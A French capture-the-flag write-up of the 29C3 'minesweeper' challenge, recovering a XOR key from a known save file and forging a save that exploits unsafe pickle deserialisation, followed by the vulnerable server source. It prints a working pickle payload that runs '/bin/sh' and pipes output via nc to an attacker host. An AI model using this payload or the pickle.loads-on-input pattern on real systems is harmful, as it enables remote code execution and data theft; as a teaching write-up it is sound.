Table des matières

minesweeper

Overview

Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024

Solution

On se connecte sur le serveur distant: nc xx.xx.xx.xx 1024 et un demineur s'affiche. On peut entrer differentes commandes (ouvrir une case, flagger une case, quitter, sauver et charger une partie)

Le seul fait de gagner la partie ne suffit pas, le serveur affiche juste “You win”

On va donc regarder de plus pres le code et en particulier les fonctions de sauvegarde et chargement

La fonction sauvegarder:

msg = f.save()
h = hashlib.sha1()
h.update(msg)
msg = "4n71cH3aT" + h.digest() + msg
tmp = ""
for i in xrange(0, len(msg)):
    tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
msg = tmp
return (True, "Your savegame: " + base64.standard_b64encode(msg))

avec

def save(self):
    return pickle.dumps(self.__dict__, 1)

et f un objet de classe Field:

class Field:
	def __init__(self, w, h, mines):
		self.w = w
		self.h = h
		self.mines = set()
		while len(self.mines) < mines:
			y = random.randint(0, h - 1)
			x = random.randint(0, w - 1)
			self.mines.add((y, x))
		self.mines = sorted(self.mines)
		self.opened = []
		self.flagged = []

La fonction sauvegarder va donc faire un pickle dumps de son dict (ici qui contient toutes les informations relatives a la partie, la width/height, position des mines, cases deja ouvertes et cases deja marquees) et ensuite faire une concatenation de “4n71cH3aT” + h.digest() + msg et finalement un xor avec une cle secrete puis l'encoder en base64.

La fonction charger: elle fait l'inverse: elle b64-decode l'input, fait un xor avec la cle secrete, verifie que ca commance par “4n71cH3aT”, que le hash correspond au message et ensuite

def load(self, data):
    self.__dict__ = pickle.loads(data)

On va donc chercher a obtenir la cle secrete. En effet, si on connait le resultat et le message de depart et on les XOR, on retrouve la cle. Pour cela, on va sauvegarder la partie des le commencement (comme ca il n'y aucune case d'ouverte/marque) et ensuite la gagner (on remarquera que la partie est toujours la meme, donc ce n'est pas grave si on se trompe). Une fois la partie gagnee, on va reconstruire le message initial:

class Field:
    def __init__(self):
        self.w = 16
        self.h = 16
        self.mines = [(0, 4), (1, 5), (1, 7), (4, 1), (4, 8), (5, 13), (5, 14), (6, 0), (7, 7), (9, 10), (11, 7), (12, 2), (12, 7), (12, 8), (12, 13), (12, 14), (13, 0), (13, 10), (14, 14), (14, 15)] 
        self.opened = []
        self.flagged = []
 
f = Field()
 
msg = pickle.dumps(f.__dict__, 1)

et ensuite le mettre sous le bon format (“4n71cH3aT” + hash) et ensuite le XOR avec la sauvegarde que le serveur nous a donnee.

On retrouve donc la key

28 94 52 39 2D 84 88 4A BD E9 39 C0 F7 38 8D 56 CB F4 F1 5F 5F F1 7C 9C 84 73 7E 3C 6A C0 A0 7E D6 60 AA 0E 92 6E 45 37 AC 50 C8 69 A5 60 CC C9 96 6F FC 80 57 AF F7 A5 E3 19 BD 10 09 C8 55 6F D5 65 5E 66 24 C4 7B DE C5 8C 40 88 49 B4 EC 1A 0D 0D B3 74 22 75 78 BA 7B 03 3D C9 FA 4E 33 ED 08 C8 6A 33 C8 B6 74 B9 67 08 11 2C 3E 82 85 0C 9D F6 2F F1 CE 7A B8 D8 F8 31 F1 49 1E 44 15 8A 04 65 D3 45 CE D2 38 7D A8 99 79 BD 10 7F 78 31 D4 6D 01 57 13 78 43 57 F6 D6 B1 E7 77 E8 23 9E 35 51 5E 38 65 9E BC B9 52 2E D9 7B 59 AC 0F 01 39 5B 97 E7 03 28 5E 38 D3 CA 5B 93 D7 AB 0C 74 B0 26 FC 80 31 4D 39 31 EF 88 7A 61 EB 2A A3 F1 EB 1F 1F AE B3 17 DB 42 98 E7 5C 37 3D 70 BB 14 44 EF 83 9C 30 B6 B2 8E C9 92 E8 74 1A 23 82 5A C9 EB 5C 46 5D 8A 87 A1 90 0C

Apres quelques essais infructueux, cette key semble aleatoire (ie pas de zip ou image…)

On va donc continuer. Maintenant on a la cle du serveur, c'est a dire que l'on peut generer ses propres parties et on peut donc essayer de generer une partie avec 0 mine pour le fun. Si on ouvre une case, elles vont toutes s'ouvrir d'un coup mais il ne se passe rien d'autre =)

On remarque que pour charger la partie, le serveur utilise pickle.loads et en forgeant un object special, il est possible d'executer des commandes sur le serveur. Allez voir http://5mins.wordpress.com/2011/04/25/plaidctf-django-challenge-writeup-web-300/ pour plus d'explications.

On va donc forger notre objet qui va envoyer la liste des fichiers sur le serveur sur notre serveur en utilisant nc:

import pickle
import socket
import os
class payload(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, (('/bin/sh','-c','ls ./ | nc xx.xx.xx.xx 5555'),)) 
payload = pickle.dumps( payload())
print repr(payload)

et le formatter correctement (anti cheat + hash) et xor avec la cle sur serveur. Quand on charge la partie, on obtient sur notre serveur (merci a Pheimors =) une liste de fichiers:

encrypt_key.bin
flag.txt
minesweeper.py

On recree une partie, mais cette fois avec cat flag.txt et on obtient le flag 29C3_TickTickBoom_YouFoundAMine

Source

#!/usr/bin/env python
import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os
 
def load_encrypt_key():
	try:
		f = open('encrypt_key.bin', 'r')
		try:
			encrypt_key = f.read(4096)
			if len(encrypt_key) == 4096:
				return encrypt_key
		finally:
			f.close()
	except:
		pass
 
	rand = random.SystemRandom()
	encrypt_key = ""
	for i in xrange(0, 4096):
		encrypt_key += chr(rand.randint(0,255))
 
	try:
		f = open('encrypt_key.bin', 'w')
		try:
			f.write(encrypt_key)
		finally:
			f.close()
	except:
		pass
 
	return encrypt_key
 
class Field:
	def __init__(self, w, h, mines):
		self.w = w
		self.h = h
		self.mines = set()
		while len(self.mines) < mines:
			y = random.randint(0, h - 1)
			x = random.randint(0, w - 1)
			self.mines.add((y, x))
		self.mines = sorted(self.mines)
		self.opened = []
		self.flagged = []
 
	def calc_num(self, point):
		n = 0
		for y in xrange(point[0] - 1, point[0] + 2):
			for x in xrange(point[1] - 1, point[1] + 2):
				p = (y, x)
				if p != point and p in self.mines:
					n += 1
		return n
 
	def open(self, y, x):
		point = (int(y), int(x))
		if point[0] < 0 or point[0] >= self.h:
			return (True, "Illegal point")
		if point[1] < 0 or point[1] >= self.w:
			return (True, "Illegal point")
		if point in self.opened:
			return (True, "Already opened")
		if point in self.flagged:
			return (True, "Already flagged")
		bisect.insort(self.opened, point)
		if point in self.mines:
			return (False, "You lose")
		if len(self.opened) + len(self.mines) == self.w * self.h:
			return (False, "You win")
		if self.calc_num(point) == 0:
			#open everything around - it can not result in something bad
			self.open(y-1, x-1)
			self.open(y-1, x)
			self.open(y-1, x+1)
			self.open(y, x-1)
			self.open(y, x+1)
			self.open(y+1, x-1)
			self.open(y+1, x)
			self.open(y+1, x+1)
		return (True, None)
 
 
	def flag(self, y, x):
		point = (int(y), int(x))
		if point[0] < 0 or point[0] >= self.h:
			return "Illegal point"
		if point[1] < 0 or point[1] >= self.w:
			return "Illegal point"
		if point in self.opened:
			return "Already opened"
		if point in self.flagged:
			self.flagged.remove(point)
		else:
			bisect.insort(self.flagged, point)
		return None
 
	def load(self, data):
		self.__dict__ = pickle.loads(data)
 
	def save(self):
		return pickle.dumps(self.__dict__, 1)
 
	def write(self, stream):
		mine = 0
		open = 0
		flag = 0
		screen = "  " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n +" + ("-" * self.w) + "+\n"
		for y in xrange(0, self.h):
			have_mines = mine < len(self.mines) and self.mines[mine][0] == y
			have_opened = open < len(self.opened) and self.opened[open][0] == y
			have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y
			screen += chr(0x30 | (y % 10)) + "|"
			for x in xrange(0, self.w):
				is_mine = have_mines and self.mines[mine][1] == x
				is_opened = have_opened and self.opened[open][1] == x
				is_flagged = have_flagged and self.flagged[flag][1] == x
				assert(not (is_opened and is_flagged))
				if is_mine:
					mine += 1
					have_mines = mine < len(self.mines) and self.mines[mine][0] == y
				if is_opened:
					open += 1
					have_opened = open < len(self.opened) and self.opened[open][0] == y
					if is_mine:
						c = "*"
					else:
						c = ord("0")
						#check prev row
						for m in xrange(mine - 1, -1, -1):
							if self.mines[m][0] < y - 1:
								break
							if self.mines[m][0] == y - 1 and self.mines[m][1] in (x - 1, x, x + 1):
								c += 1
						#check left & right
						if mine > 0 and self.mines[mine - 1][0] == y and self.mines[mine - 1][1] == x - 1:
							c += 1
						if have_mines and self.mines[mine][1] == x + 1:
							c += 1
						#check next row
						for m in xrange(mine, len(self.mines)):
							if self.mines[m][0] > y + 1:
								break
							if self.mines[m][0] == y + 1 and self.mines[m][1] in (x - 1, x, x + 1):
								c += 1
						c = chr(c)
				elif is_flagged:
					flag += 1
					have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y
					c = "!"
				else:
					c = " "
				screen += c
			screen += "|" + chr(0x30 | (y % 10)) + "\n"
		screen += " +" + ("-" * self.w) + "+\n  " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n"
		stream.send(screen)
 
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 1024))
sock.listen(10)
 
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
 
encrypt_key = load_encrypt_key()
 
while 1:
	client, addr = sock.accept()
	if os.fork() == 0:
		break
	client.close()
sock.close()
 
f = Field(16, 16, 20)
 
re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$")
re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$")
def handle(line):
	if len(line) < 1:
		return (True, None)
	if len(line) == 1 and line[0] in "qxQX":
		return (False, "Bye")
	global f
	if line[0] in "foFO":
		m = re_pos.match(line)
		if m is None:
			return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3")
		x,y = m.groups()
		x = int(x)
		y = int(y)
		if line[0] in "oO":
			return f.open(y,x)
		else:
			return (True, f.flag(y,x))
	elif line[0] in "lL":
		m = re_save.match(line)
		if m is None:
			return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
		msg = base64.standard_b64decode(m.group(1))
		tmp = ""
		for i in xrange(0, len(msg)):
			tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
		msg = tmp
		if msg[0:9] != "4n71cH3aT":
			return (True, "Unable to load savegame (magic)")
		h = hashlib.sha1()
		h.update(msg[9+h.digest_size:])
		if msg[9:9+h.digest_size] != h.digest():
			return (True, "Unable to load savegame (checksum)")
		try:
			f.load(msg[9+h.digest_size:])
		except:
			return (True, "Unable to load savegame (exception)")
		return (True, "Savegame loaded")
	elif len(line) == 1 and line[0] in "sS":
		msg = f.save()
		h = hashlib.sha1()
		h.update(msg)
		msg = "4n71cH3aT" + h.digest() + msg
		tmp = ""
		for i in xrange(0, len(msg)):
			tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
		msg = tmp
		return (True, "Your savegame: " + base64.standard_b64encode(msg))
	elif len(line) == 1 and line[0] in "dD":
		return (True, repr(f.__dict__)+"\n")
	else:
		return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s")
 
data = ""
while 1:
	f.write(client)
	while 1:
		pos = data.find("\n")
		if pos != -1:
			cont, msg = handle(data[0:pos])
			if not cont:
				if msg is not None:
					client.send(msg + "\n")
				f.write(client)
				client.close()
				sys.exit(0)
			if msg is not None:
				client.send(msg + "\n")
			data = data[pos+1:]
			break
		new_data = client.recv(4096)
		if len(new_data) == 0:
			sys.exit(0)
		data += new_data